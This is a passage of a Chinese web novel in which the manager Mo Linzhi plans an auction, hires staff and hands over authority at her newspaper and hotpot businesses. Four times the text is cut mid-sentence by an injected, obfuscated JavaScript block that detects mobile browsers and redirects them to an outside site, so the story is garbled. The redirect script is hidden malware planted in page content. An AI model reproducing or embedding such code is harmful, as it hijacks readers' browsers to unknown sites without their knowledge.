“我手头的东西的呢已经想好了，按照地域进行拍卖，所以大家不用心急，北境之地，你们的竞争对手都是老熟人。但这不是重点，重点是，各位，台子我已经搭好了，难道你们就没有想扩张的野心？” 莫林知抬手，随便点了两家：“白玉京的糕点可以说堪称一绝，我但凡路过都会忍不住带两盒，难道就不想用方子入股，让它遍布禹朝其他角落？东来客栈的造景也是独具特色，这样的能耐，想必在江南地带开一个度假山庄也是宾客络绎不绝的。” “你们要是不想走拍卖场，那私下交易也完全没问题的。只不过，人都是奔着我这拍卖会来的，商机也是我带来的，既如此，大家是不是也有必要配合我，把这场盛会热热闹闹的给它办起来？” 室内一时沉默。 虽然她前面画的饼是满香的，但大家都不是傻子，饼吃到嘴里的才算数，没兑现的，都是空谈。 半响后，还是合作较多，对她人品眼光比较信服的寻味斋掌柜开了口：“莫管事，您不如直接挑明了，需要我们怎么配合？” 莫林知拍拍手，自有人把她带来的东西抬了进来。 众人好奇探头，发现就是个实木架子，约莫一尺宽，四尺高。架子顶部有一块小牌匾，上面写着《见闻》二字，下面鳞次栉比地放着一排排报纸。 看着倒有点像迷你简易版摊位。 “这是？” “见闻的展示架。不占地方，只要各位管事容许它放在您家的客栈酒楼大厅就行。以后每一期新的《见闻》出炉，我都会派人每个点位送上10份，供你们店里的顾客免费借阅。你们只需要稍稍维护一下，保证它干干净净，被借阅完再放回去即可。” 众人一听，发现确实小事一桩，甚至简单得有点超乎想象。可冷静2秒，商人骨子里的天性又占了大头，立马就有一人开口了：“拍卖的名额我们不一定能用上，莫管事，我旗下客栈12间，您若是想说服我，还有其他条件吗？” 莫林知故作为难地沉吟：“按理说，接下来《见闻》会对拍卖会的每一个拍品进行详细介绍，这相当于就是白送的广告位了。不过你说的有道理，不如这样，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408920|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在月中那一期做一个北境酒楼和客栈盘点，免费给各位200字篇幅的推荐。” 说完莫林知看了看在座各位的神色，显然，还有人想再继续刮下一点好处来。但莫林知却已经不会再给更多了。 在他们开口之前，她抢先收了尾：“各位跟《见闻》打交道也不是一天两天了，都知道我的脾气和手段。说实话，我大可以不费一兵一卒就让你们主动把这个展示架搬进自家地盘。但我开头也说了，承蒙各位关照，所以牵头这次合作，也当是一番回报。” “谁都知道，现在的《见闻》已经遍布全北境，它的版面价值你们都清楚。我是个爽利的性子，能给出的诚意直接就上了，没开口的那就是做不到，何必非要在我的底线上磨蹭呢？就算我现在答应了你，谁又能保证，改日我不会十倍百倍地从你们手上拿回来？” 呃······ 这倒是实话。 想想《见闻》，一开始谁想花钱，结果上千两的润笔费不也只能给出去。还有飞毛腿，城内一次2文钱的跑腿费不也照样付了！ 咽喉被人扼在手里，少数几个利欲熏心的人也立马清醒了，再也不敢拿乔，连连应下来。 “还是莫管事大气，这《见闻》摆在酒楼里，也是方便吸引那些外来客嘛，莫管事还能送我们一个广告位，着实是关照我们了。”一管事立马改口，端起酒杯，“那就祝我们齐心协力，让外来宾客满载而归~” 其余人一边心里骂他鸡贼，一边也乐呵呵地举杯共饮。 后续莫林知跟他们商定了展示架入驻时间，陪了几杯酒，然后提前离席了。 从酒楼出来，莫林知直奔《见闻》，3件事。 第一，展示架图纸让人送到飞毛腿那边，给各个城镇的《见闻》送过去，让他们尽快做出来。 第二，给印刷坊下单，往期见闻全部重新印刷，具体数量交给韩梅去对接了。 第三，筹备拍卖会。 关于这场拍卖会，莫林知有想过要不要找萧衍重新借调一批人手。毕竟拍卖会和《见闻》的发展其实没有太强相关，所以让《见闻》团队承接，她觉得绩效这些不太好算。 但是仔细想了想，还是打消了这个念头，太费事儿了。 《见闻》这边已经承办了好几次活动。例如之前的中秋节礼品鉴大会，还有后来她出差时，晚玉他们执行的各行各业“大众评审节”，都非常成功。 他们在“活动承接”这条业务线上，不管是上游的商家需求对接，还是下游的承办供应商，都已经相当成熟。据她所知，定安城内都已经有了一个固定队伍，专门盯着晚玉手头的项目，做一些场地布置、秩序维护等工作——莫林知得知的时候，还蛮欣慰的，这也算是她带来的行业衍生生态嘛。 有供应商扎堆的地方，那至少说明这一行是被人看好的。 所以莫林知就不太想舍近求远——绩效什么的，大不了她以个人名义给《见闻》广告部下单。 88. 筹备 但是目前人手真的太少了······ 站在见闻的院子里，莫林知扒拉着现有的人员，第一次反思——她在组建团队这事儿上可能真的太抠搜了。 没办法，习惯太难改了。 以前，先不说人员都是扁平化管理，能精简的都精简了。到后面，市场环境不好了，东家的战略布局就变得更谨慎。 ——新的方向是欢迎的，但招人是绝对不可能的。想干？就自己先上阵尝试，做出成绩了再去找老板要资源。 这样的思维之下，《见闻》当初招人时莫林知根本不敢考虑以后做大需要人手怎么办，当时就想着走一步看一步，边走边完善团队。 头痛地敲了敲眉心，莫林知还是点了李程江：“派人送个口信给龚煊，还想要这个工作就明天赶紧回来！另外，招聘的事抓紧一点。” “接下来说说这个月底的拍卖会。”莫林知一边将资料下发，一边言简意赅，将自己要把活字印刷术、干冰、自行车等物件的合作经营权拍卖掉的事情说了一下，然后开始布置任务： “项目总负责人：何梅，你按照我列出来的执行表，定期向我汇报进度。你确认没问题的环节，我再来进行最后的终审，有疑虑提前沟通，我不接受到最后一关才发现整个方向都错误的。” “4个分项负责人，对何梅汇报。大家可以看一下，这个项目的职责划分相对是比较清晰的：拍品招募、内容支持、场地布置、以及最后的入场身份和保证金交纳。四个部分，大家各自认领。” “首先是拍品招募，李程江，这部分你来负责。通知所有见闻分部，下一期头版头条统一放你亲自撰写的招募内容，我们要面向全北境招募拍品，不管是珍品宝藏，还是独家手艺，都可以找上《见闻》进行价值核定以及交易方式洽谈，拍卖会只收取5%的佣金作为服务费。各个分部需要专门成立一个小组负责拍品的鉴定，若是分部决策不了，可递交总部。总部这边，小组组长你来担任，副组长龚煊，你们作为把关人，一定要睁大眼睛看清楚了！” “其二，内容支持，何梅你辛苦点，这部分你来盯。后续的每一件拍品都要有一份详实的介绍，这份介绍不只在《见闻》上同步更新，最后还要按照拍卖会的拍品顺序装订成册，分发给当晚的每一桌客人。” 说到这里，莫林知顺道将答应出去的“酒楼和客栈盘点”也交代了一声，接着往下说： “然后是场地布置，大家可以看一下我手绘的图纸。我预想的是一楼设置30桌，不用保证隐私，中间搭一个高台，方便拍卖师掌控全场，高台前面留一块空地做样品展示。另外，二楼三楼各10个包厢，4楼5个。你们有什么场地推荐吗？” “白玉京。”李程江少见地开口，毫不避嫌，“它和你想要的格局基本吻合，只需要稍加布置就好，一天基本就能完事儿。这个季节，白玉京的一天的营业额最高可达这个数，只要你愿意付，我就可以去谈下来。” 莫林知看着李成江比出的一个巴掌，稍加思索，爽快应了：“行，但是这“一天”的划定范围是从你们前一天歇业开始到后一天营业准备之前——你总给给我提前准备和离场收拾的时间。另外，我们要提前15天派人进去熟悉环境。” 李程江点头：“这个好说，你提前打个招呼，闭店之后我让掌柜的带你们进去。” “那就这么定了。布置的事情······晚玉，还是找你熟悉的那支团队来承接。价格你去谈，尽快出设计稿和预算给何梅。” “是！明天下工前完成任务。” “最后是身份验证和保证金交纳······这一项给飞毛腿下单吧，具体的我去谈，搞定了同步给何梅这边。那行，基本就是这样，大家还有什么疑虑？” 底下零星几人都摇了摇头。 莫林知拍拍手，宣布解散：“行，那就各自行动起来~” 零星几人立马收拾东西出去了。又新加了任务，他们连口水都想不起要喝，回了工位第一反应就是将近期的工作已完成和未完成的重新梳理，按照重要&紧急、紧急、重要等维度排序。这一排发现，好家伙，莫管事说得没错，还是得先招人。 于是就有第一个人找上了何梅： “何管事，我有个建议。” 何梅停下笔，抬头笑看着他：“你说。” “距离下一次《见闻》发布还有3天，我们本来不是想着在《见闻》上发布招聘启示嘛，但是现在实在是缺人，所以我建议，要不我们直接明天给印刷坊那边下单，然后托飞毛腿帮我们分发招聘单页？岗位职业需求都是我们之前整理过的，单页内容今天就能弄出来。然后我们各自辛苦点，明天把试题出了，后天碰一下，大后天就能考试！” 说真的，何梅也正有此意，她刚刚正在做的就是一个新的招聘时间轴，将原来需要的时间压缩了一半！ 本来还在斟酌怎么说服其他人，没想到大家想一块儿去了。 何梅笑了笑，也不用藏着掖着了，将自己新做好的排期规划交给眼前人：“这个安排和你的想法差不离，要是你们都没意见那就今晚大家先把各个部门的招聘需求整理提交上来，我下工后直接带给印刷坊。” “好嘞好嘞，我现在就去通知。”那人接过新的安排跳起来就走了，仿佛要迫不及待抓住减负的曙光~ 不过改成单页，还请飞毛腿的话，这个招聘成本就要重新算了。何梅不敢耽搁，赶紧去莫林知办公室沟通这件事儿。 她到的时候莫林知正要出门，听了何梅的想法，不仅没说什么，反而双手赞成：“可以，这点成本跟时间成本比起来完全可以忽略不计。单页明天什么时辰能出来？我正要去飞毛腿，顺路把你这个事儿一起沟通了。” “明天正午的样子。 “行，我让他们直接去印刷厂取货，下午就给你们发出去。”莫林知见她松了口气的样子，忍不住笑着拍了拍她的肩，“有些事情做不做不是看花的钱多不多，而是看背后的收益高不高。以后，你大可以胆大一点，主人翁意识再强一点儿，有什么不确定的可以私下找我商量。” “是，谢谢莫管事。”再一次被肯定被鼓励，何梅彻底放松，舒心笑了。 莫林知没再多说，拎着包出了门。 其实，看到何梅这样小心翼翼，她有点像看到了最开始刚当上主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425919|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管的自己。 处在8090交界的人，从小受的教育就是“勤俭节约”，所以，骨子里的习惯就是少花钱甚至不花钱。 想她刚开始做管理层的时候，遇上行业的一些交流会，她的第一反应就是：来回高铁机票住宿什么的很费钱。而交流会这种东西又没法当下就看到一些实质的回报，所以脑子里压根就没有“我要打报告申请去学习”的意识。 还是直系上司有一次问起来了，说最近年底各种峰会这么多，怎么她内容端一点动静都没有，她才懵懵懂懂地知道：哦，原来出差学习都是正常的需求。 ——那是她第一次深切感受到，不同家庭教育长大的人，思考事情的角度有多天差地别。 虽然后来上司离职了，公司政策缩紧了，但她迈出去的那一步，再也没主动缩回来过。不管前面的提议被打回来多少次，到了下一次，该争取的她还是会主动争取。 何梅或许现在还会探头探脑地看世界，但是后续这种机会多了，那层墙皮越来越薄，直至消失无形，她终究会坦荡无惧地大步走出去，做这个世界的主人！ 身为过来人，她真的很期待那一刻。 *** 一般没有大事儿，林显是一直守在飞毛腿总店的，今儿也是一样，正歇着呢，突然看见莫林知走了进来，那一刻还以为自己出现幻觉了——要知道，定安城这边摊子铺开这么久，她是一次都没踏入过飞毛腿的地界的。 连忙招呼人上茶，林显把人引到了后院：“什么大事需要劳动您亲自上门？” “人手不够用，没办法。对了，萧凛有说什么时候回来吗？” “就这几天。” “让他尽快吧，我拍卖会这边需要他安排一波人手给我。这场拍卖会我会提前三天发放入场号码牌，号码牌需要通过2关核验，第一是身份背景核实，第二是保证金。1-5号，纯金号码牌，保证金20万两，6-25号，纯银材质，保证金10万两，剩下30个号码用纯铜打造，保证金5万两——不是小数目，得你们来我才放心。” “还有现场的的秩序维护，入场宾客的人身安全等，都需要你们的人手来保证。前后5天时间，差不多百来个人。等他回来你让他看着安排，费用你这边核算下报给《见闻》的账房。” 莫林知说的时候林显就在疯狂记录她的要求，等她交代完，林显这边也刚好落笔了。他吹了吹墨迹，将纸张放到莫林知面前：“您刚提到的要求辛苦核对一下，没问题的话我明天细化一份合作契约。” 莫林知一眼扫完，感觉没啥问题，但是又怕自己漏掉了什么，笑着交代：“契约里多帮我想着点，有什么疏漏你们自己补上，人可以加，钱也不是问题，但是事情得帮我做好了！” “放心放心，自家人不坑自家人。” “还有，明天下午派几个人去印刷坊领一批招工单页帮我尽快发出去，费用后结。” “成。” 想想该说的都说了，莫林知就起身告辞了。 林显亲自送了她出门，没走两步呢，一个飞毛腿小哥就匆匆跑来了，气喘吁吁地说：“莫管事，火锅店吴大掌柜找您。” 89. 放权 莫林知马不停蹄地赶往了火锅店，下了车，第一眼看到的就是门口那个显眼的卖火锅底料的摊子。摊位的布置比她想的还要周到些，和门头同风格的设计，显眼又不失趣味的招牌。 大概是把之前莫林知讲的“品牌基调”听了进去，底料的价格并没有因为外带而降价。但是为了弥补顾客的心理差距，给赠送了调料，每一份底料可任选5种口味的调料。 莫林知看了两眼，发现排队的人并无不良反馈，就跟着小二去了顶楼的办公区。 吴大和吴二都在，显然，两人找到莫林知，应该是已经私下达成了一致，所以来和她沟通具体的安排。 首先呈上来的是吴大的沧澜规划，他们把出发时间定在了后天，从出发到返程预估2个月，至于这两个月每个阶段要达成什么样的目标，他也写得清清楚楚。 从吴大对门店选址的几个方案来看，他应该确实对沧澜城有一定的了解，选择很巧妙，莫林知扫了一眼，发现和萧凛当初推荐的基本一致。 然后是出发人员安排，后厨、前厅、采购各找了一个，加上吴大一起总共4人，尽量把对现有的门店造成的影响降到最低。 最后是门店新开业的几场营销，需要《见闻》和飞毛腿配合的地方，以及整个安排预估的花费等等，按照莫林知的工作习惯，列得清清楚楚，一目了然。 因此，她看完后是真的半点意见都没有，直接爽快地披了方案和条子，让吴大掌柜自己去账房领钱。 “问问飞毛腿那边后天有没有往沧澜的配送安排吧，尽量一起走，安全点。” “好，我等会儿去打听打听。” 出差规划通过了，接下来就是吴二这边的工作安排了。 突然需要接手的店从1家变成2家，吴二这边的精力势必会有所分散。但好在，他在规划里将两家店接下来的日常事务、重点项目都拎得一清二楚，显然，双方之间的交接已经毫无问题。 莫林知看着手上已经极具现代化思维的两份方案，又忍不住想到了前两天看到的那两份堪称完美的复盘报告，心里油然升起一种欣慰和成就感。 这是她在短时间里就带出来的“新式将领”，目标导向、逻辑清晰、落地透明，就像一个完美的核心轴承，只要是同类型机器，它都可以无缝带动其运转。 外部的推手和力量似乎都已经显得多余，想了想，莫林知决定适当放权：“后续火锅店这边的发展就由吴大牵头，吴二配合，我就不过多插手了。整个工作流也好，绩效也好，相对都已经固化下来，按照这个基调往下也出不了什么乱子。平常的人事变动和5000两以下的银钱调动不用提前知会，只需要后续提交报批单即可。” 吴大吴二两人面面相觑，沉默了2秒，吴大试探开口：“莫管事，您······不管我们了？” 莫林知哭笑不得：“什么叫我不管你们，一开始你们还没上道我确实得多顾着点，现在你们自己已经完全能搞定了，我干嘛还要碍事儿？怎么？自己做主的感觉不够爽啊？” “这不是······有您看着心里更有底嘛。” “有什么底？这两份规划我可是一个字没改，你们这个月的月度复盘我也看了，完全过关！”莫林知挥挥手，“行了，反正以后你们心态上变一变，不要总觉得顾好一两家店就算完事儿，目光放长远点。等到一切稳定下来，我会跟王爷申请给你们这个层级的管理层干股分红比例。以后啊，你们手上的干股值多少钱，就看你们前期能把盘子做多大了！” 分股的事儿是莫林知最开始就有的想法，但是在吴大吴二这里是首次听说。他们以为，这辈子最大的成就，也就是做好几个点的掌柜了，没想到莫林知和东家能提供的诚意这么大。 想想定安城这两家店的流水，再想想这样的流水x2,x3，甚至以后天下稳定了可以番N倍······ 两个人的呼吸都加快了。 当下，吴大掌柜和吴二两人起身，士气十足地保证：“莫管事，我们一定不会辜负您的期待！” “别，是王爷的期待！”莫林知强调。 “是是，我们一定不会辜负王爷给的机会！”两人笑呵呵地改口。 见没什么其他事情，莫林知嘱咐了几句“注意安全”之类的就带着两份规划离开了——这两份东西，她还要归档的。 走在路上，想着吴大吴二打了鸡血似的样子，她忍不住摇头失笑——人和人的追求，还真是截然不同。 人家是一听到升职加薪就兴奋，她嘛，是想到自己手上终于甩脱了一个负担而开心。不过甩脱了1个还有2个。但是飞毛腿和《见闻》不同于火锅店，这两个业务体系之间的交集太深了，莫林知想找到一个能同时对两个板块的业务有深入理解的人来做总舵手，而这个人选，她目前还没选定。 不过貌似可以考虑起来了？ 莫林知托着下巴，开始思虑合适的人才池子。 吴大掌柜离开之后，莫林知有抽空去两家店转转，发现一切顺利，就彻底丢开手了。 很快就到了新一期《见闻》发布的时间，这一天，她走在路上就听到了热烈的讨论声，可能因为这一期的干货实在太多，讨论的对象也各不相同。 有扎堆聊这个拍卖会和拍品招募的，也有好奇“自行车”是个什么新鲜物件的，还有一些妇女群体在热烈地说着“北境第一届服装面料展销会”。 但不管是哪个话题，都是她自家的产品。 莫林知从街市穿行而过，带着满满的成就感踏入《见闻》大门，发现里面是不亚于街市的热闹——看着院子里满满当当的人员，莫林知突然想起来，今天也是新员工入职的日子。 前两天的考核她没有参加，全权交给了何梅和他们老员工——反正招进来的人是给他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437202|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己用的，好不好用都是他们自己的选择。 不过，何梅的思路比她想象的更清晰，她只是大概提了每个部门10个人的指标，剩下的招聘安排完全由何梅一人负责，中间有一点让她比较惊艳——何梅对新入职的10个人进行了更细致的类目划分。 比如策划部，目前所有项目都是晚玉和龚煊两人平摊，但是对于新进的10个人，她会细化成美妆类目2人，服饰面料类目2人，饮食小吃1人等等，人员多寡根据目前的项目数量来安排。然后根据龚煊和晚玉各自擅长的类目，将这10个人划分到2人手下。 其他部门以此类推，这样每一条线都有一个完整的工作链，而身在这条线的人，能在这个垂直领域钻研更深，更专业。 想法挺好的，但是如果要往上升，那就要求的不只是精通某一条赛道了，而是综合能力和全局观。所以，后来，莫林知跟何梅分享了一下另一种“轮岗”和“晋升”机制。 轮岗和现代的那种管培生轮岗不同，而是入职员工可通过私下的学习了解其他类目的行业情况，然后在每年年中、年底两次的述职时进行“调岗竞聘”。 这种调岗竞聘需要满足2个条件： 第一，他想要调的类目或者部门有岗位空缺。（这一点需要何梅提前一个月做员工意向调查并进行内部披露） 第二，他需要以目标部门的作业标准，准备一份竞聘材料，如果资料和讲解能够获得目标部门90%以上的通过票数，那他就可以进入到该部门。 而轮完3个类目（或者3各部门）以上的人才有机会竞争中高管理层。 当时，看着何梅如获至宝的眼神，莫林知忍不住又多说了一些——比如内部的定期干货分享会等等。 如何让大家心甘情愿地分享自己的成果，或者花时间去听取别人的成果也是需要何梅去考虑的。 还有其他的一些团队管理上的东西，莫林知想到哪就说到哪了，能吸收多少全看何梅自己。但这个毕竟是后续的事情，莫林知说完就让她自己思考去了，没有布置相关作业。 不过走进办公室的这一路，看着一张张兴奋激动的脸庞，莫林知还蛮期待何梅交出的答卷的。 对于任何行业来说，都会经历一个“灵感迸发-渐渐常态化-走向落寞”的过程，而行业里每一个被放大的灵感，最开始可能都只是某一个不起眼的小员工微不足道的尝试而已。 她希望，每一个进入这一行的人，都可以将这份热爱和创造力保持得更长一点，将这个行业的灵感迸发状态拉得更长一些。 过了会儿，杂乱无序的喧闹渐渐平息，各个房间传出隐约的培训声——真是难为老员工了，手头事情这么多，还得管照新人。 不过忙乱只是一时的，越是实战，越能快速成长。 等到下午，距离下工还有一个时辰时，何梅敲响了莫林知的办公室门。 90. 汇报 何梅进来是为了汇报今天的拍卖会筹备进度。 今天新人一入场，所有人几乎是马不停蹄的签完各种入职契约，搞完培训，然后将手中能下放的工作都交了出去，专心拉拍卖会的筹备进度。 就这样，今天的进度也够呛完成。 新人那边也是，一进来就要正式上手，好些人都懵了。尤其大部分工作既没有前例可依，又害怕真的按照他们的想法落地，万一出了什么岔子······那是丁点事情都要问一下，不敢擅自做主。 可以说是全场鸡飞狗跳的一天，就连还没从情伤走出来就被抓壮丁的龚煊都没力气发脾气了——晚玉将手头自行车体验大会的项目交给了他，让他带着新人做。偏偏晚玉那份策划案他又不是很满意，感觉太贫乏了一点。所以这一天，他改方案的同时还要回答新人的十万个为什么，整个人都在歇菜的边缘。 何梅将情景看在眼里，一边找飞毛腿点了一批下午茶送进来，给新人打气加油，自己则带上相关的资料和少许糕点糖水，敲响了莫林知的门。 ——没有进度也是进度，凡事有回音是项目执行的第一要素。 “莫管事，今天新人入职，我给大家点了一点下午茶，您尝尝。”何梅将托盘放至莫林知的手边，然后将手中的材料也放到她的正中间，按顺序铺开。 见她放下手中的事情将注意力放到了眼前的材料上，何梅清了下喉咙，开始进入汇报状态： “首先是拍卖会的进度。李管事这边今早把租赁契约送过来了，租金我先找账房支取了30%的定金给白玉京那边送过去，等到结束再付全部尾款。” “另外，晚玉这边中午抽时间找场地那边的人聊过了，具体的图纸和报价最快需要明天才能出来。而且对方提出希望今晚可以先去白玉京看看场地和环境——这一点，我下午送定金的时候已经和那边掌柜沟通过，说是没问题的。所以等到他们闭店，晚玉还要辛苦再跑一趟。” “然后是拍品。我们自己的几份拍品，李主编亲自执笔，今天将活字印刷和干冰的介绍都编辑完了，您手上的是初稿，如果没问题那这两份就定下来。自行车这个因为我们目前都还没看到样品，所以暂时还得等等。” “招募的拍品今天目前还没收到一个人上门。莫管事，我觉得，很多人哪怕看到这个招募信息，可能也不会觉得这个事情和自己有关系，或者说很多人都意识不到自己手中是不是具有高价值的产品或者技术。所以我想着，我们可以自己先编辑几条‘某某带着不起眼的东西上门鉴定，发现居然是惊天宝藏’之类的流言在坊间传出去，当做一个钩子，您觉得呢？” 莫林知觉得挺好，不只是她这个点子很好，整个项目监管、汇报逻辑、资料存档都越来越让人挑不出毛病了。 就比如手上摊开的这几份资料，大致分了[项目进程]、[拍品招募]、[拍品资料]三部分。 项目进程又作了很细很细的拆解。例如项目内容、责任人、具体事项、交付标准、预估完成时间、是否已完成、延迟理由、项目负责人确认、总负责人确认、备注栏。 而项目内容在莫林知的大概板块划分上又做了细化，例如拍品招募就分为招募信息发布、拍品鉴定、交易谈判、拍品存放等各个事项。 目前，招募信息这一栏是显示已完成，且项目负责人确认签字了的，但是备注栏有标注“目前效果没有达到预期，后续看情况安排第二期稿件。” 还有拍品鉴定，备注栏标注的是“具体鉴定进度和结果见[拍品招募]”。 莫林知顺着翻到拍品招募这一叠，发现上面的存档字段也很详实，包括鉴定时间、鉴定产品、鉴定价值、是否上拍卖会、产品入库货架、托管人确认签字、鉴定人确认签字，备注。 而[拍品资料]就相对简单一些，上部分是每一样拍品的文字介绍，下面会有交易方式、交易底牌价等信息。 不用回炉的工作总是让人心情舒畅的，莫林知拿起手边的甜水，给自己和何梅各倒了一杯，赞赏地笑了：“就按你的想法来。” “行。”何梅道谢接过杯子，抿了一口，稍显拘谨地继续说，“那个，活字印刷和干冰我交给李主管负责了，您什么时候时间方便？他想和您沟通下这两样产品的鉴定价值和交易方式。” “明天我全天都有空。明天早上我带一辆自行车的样品过来，到时候让他见过后一起谈。” 何梅连忙放下杯子，在记事本上刷刷地记下：“好的，我等会儿跟李管事沟通一下。” 说完这些，拍卖会目前的进度事项就算沟通完了。但何梅这边还有个事情拿不定主意，她将手中最底下一份资料拿出来放至莫林知面前，继续说：“莫管事，还有一件事需要和您沟通一下，是关于马上要召开的自行车体验会的。” “嗯，你说。” “自行车体验会原本是晚玉的项目，整个活动的策划早就做好了，现在只要落地执行就好。但是您也知道，她目前除了拍卖会的事务，还有下个月初的服饰品鉴会，精力难以顾及，所以今天经过协商，就将自行车的项目分到了龚煊手上。” “龚煊······是个很有自己想法的人，他拿到策划案后就对原有的方案进行了大改动，原本1天的活动在他的主导下变成了2天。当然，策划我看了，没什么问题，只是觉得时间会不会太仓促了，万一哪里出纰漏，反而会影响了《见闻》的口碑？” 何梅将自己的担心托盘而出。虽然表述委婉，但看得出，她不赞同龚煊，而且有点替晚玉抱屈。 莫林知毫不惊讶会这样。 当初何梅面试时晚玉就和她同组，两人一个低调沉稳一个面冷心善，合作好几次，配合无间从没争吵过。 不管是职场还是生活，善良的女孩子之间总是更容易惺惺相惜，且互相保护。 但，职场上，莫林知还是更喜欢以实力说话——因为性别而有所偏袒，在她看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450412|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，反而是贬低女性了。 看完手中龚煊的策划案，莫林知抬头问她：“如果不考虑执行效果这些，你觉得谁的更好？” 何梅沉默了一下，眼神有些躲闪：“这个暂时难以确定吧。我们对自行车的了解全部来自您的口述，只知道是和骑马差不多的东西，具体的还得见过再说。” 莫林知心下微微叹气——为她的善良。 她敲了敲桌子，开口：“龚煊和晚玉现在忙不？能不能抽空过来一趟？” 何梅连忙起身：“我去叫他们。” 办公室内恢复了短暂的平静，莫林知看着眼下的策划案，心里也在想到底该怎么处理。 毫无疑问，从效果而言，龚煊的策划好很多——可能这也是男女性别的天赋差异吧，龚煊还没看到实物，单凭一句“和骑马差不多”的描述，就能做出这么一份更能激发人肾上腺素的方案，不得不说，可能男人对某些东西的敏锐真的就像身体里装了根天线一样。 但是她也不能就这么直接选择龚煊这个。哪怕新人今天刚进来，哪怕方案改的悄无声息，可——职场上没有不透风的墙，而且，办公室里，任何信号都会被无限放大。 她不想因为这件事让晚玉受到无谓的揣测和诋毁，这不是她想看到的。 过了会儿，三人一前两后地再度进了办公室。 莫林知直接将龚煊那份放到了晚玉面前：“你先看看吧。” 嗯······晚玉其实早就看过了，何梅先前就把这个拿到她面前大批痛批了一番，但是事关《见闻》声誉，又不敢擅专，所以最后还是闹到了莫林知面前。 其实，她倒是没有何梅那么生气，反倒是觉得暖心又抱歉，让好友难做了。 所以当下，晚玉接过来又还了回去，坦诚道：“这份比我那个要好。” “龚煊呢，你怎么说？” 龚煊耸肩：“我是无所谓的，但是大家心里都有杆秤，谁要想蒙着眼睛说瞎话我也不拦着。” 暗示意味太浓了，何梅这么沉稳的性子都忍不住怒目而视。 莫林知没管他们底下的小动作，向后一靠，抱臂审视着他们：“说实话，一个活动而已，在我这里没这么重要。但，我从一开始就要求过，工作中不要带入私人情绪，我更看重团队的价值。” 莫林知的话如同一盆冷水浇下，底下三个人冷静的冷静，清醒的清醒，脸色都有些发白。 “龚煊，你的方案确实更有煽动力，可如果你不能消弭启用这份方案带来的团队隐患，那就按照原版执行。具体我就不插手了，你们三个自己商量，明天中午前我要看到结果。” “······是。”龚煊脸色晦暗，没像以前一样闹大。看起来，像是终于学会了如何以一个普通人的目光看世界。 何梅和晚玉也低着头恭谨地应下，恨不得自己没来过。 三人壁垒分明地进来，回去时倒是多了几分同病相怜的队友气质。 91. 解决 第二天，莫林知先去魏安那边取了自行车，到达《见闻》的时候不免迟了一点。进去后发现里面热热闹闹的，所有人都围在院子里分热饮，边喝边聊。 莫林知将自行车往边上一放凑了过去：“今天又有人请客？有我的吗？” 晚玉连忙递上一杯给她留的无糖豆浆，解释说：“这不是最近太忙嘛，刚好龚煊回归了，所以自行车体验会就请了他帮忙。好家伙，昨天一个下午就出了一份更好的方案，我就夸了一句，说幸好您把他叫回来了，不然这个项目可能就砸我手里了，谁知道他居然开始找我要报酬！” “对，我们都见者有份~”旁边何梅笑着插话，身边一圈人立马笑了。 晚玉也笑着点了点龚煊：“你可真行！有本事你别落我手里，要不然我绝对开价比你还狠！” 这话一出，又是一阵笑声。 笑声还没平息，龚煊带的那个新人就苦了脸：“晚玉姐，我们组被分到了‘金玉满堂’这家店的营销项目，龚煊哥说他不擅长这个，让我请教您来着，您不会跟我收费吧······” 晚玉一听，顿时没好气地瞪了龚煊一眼：“你真好意思啊，让新人来替你躺刀。我不管，项目我可以帮你带，酬劳你得付！” 龚煊举双手告饶：“行行行，事成之后请大家吃火锅，可以吧？” “这还差不多~” “哎哎，还是见者有份哈，我们所有人给你们做公证人。”何梅立马补充。 “是不是可以买回来在这里煮？感觉会比店里更自在点吧？”一个新人兴致勃勃地提议，然后遭到了大部分人的赞同，于是这件事就这个定下来了。 现在毕竟没到休息时间，虽然莫林知平时不会在这块卡很严，甚至鼓励他们工作时可以聊聊天减减压，但这几天事多，一直在院子里耽搁着也不太好，所以商定之后，大家拿上各自的热饮就三三两两地散了。 